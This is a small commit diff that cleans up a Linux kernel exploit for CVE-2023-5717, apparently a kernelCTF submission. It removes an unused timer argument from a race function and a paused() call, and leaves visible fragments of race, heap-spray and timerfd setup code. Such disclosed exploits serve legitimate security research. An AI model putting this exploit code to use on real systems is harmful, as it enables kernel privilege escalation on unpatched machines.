Fix useless codes

Author: msh1307

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit

@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
 }
 
 int counter_init = 0;
-void race(int group_leader, int timer) { // caller must have ownership of the group
+void race(int group_leader) { // caller must have ownership of the group
     int pipefd[2];
     uint64_t buf[0x2000] = {0, };
     char buffer[0x100] = {0x41, };
@@ -496,7 +496,7 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
 
             for (int _; _<TRY_PER_ITER; _++) {
                 while (!atomic_load(&race_go));
-                race(group_leader, MIN + _*50);
+                race(group_leader);
 
             }
         }
@@ -724,7 +724,6 @@ int main(void) {
     tfd = timerfd_create(CLOCK_MONOTONIC, 0);
 	do_epoll_enqueue(tfd);
     spray_xattr_page(0x3000, 2048, 0);
-    paused();
 
     alarm(900);
     exploit();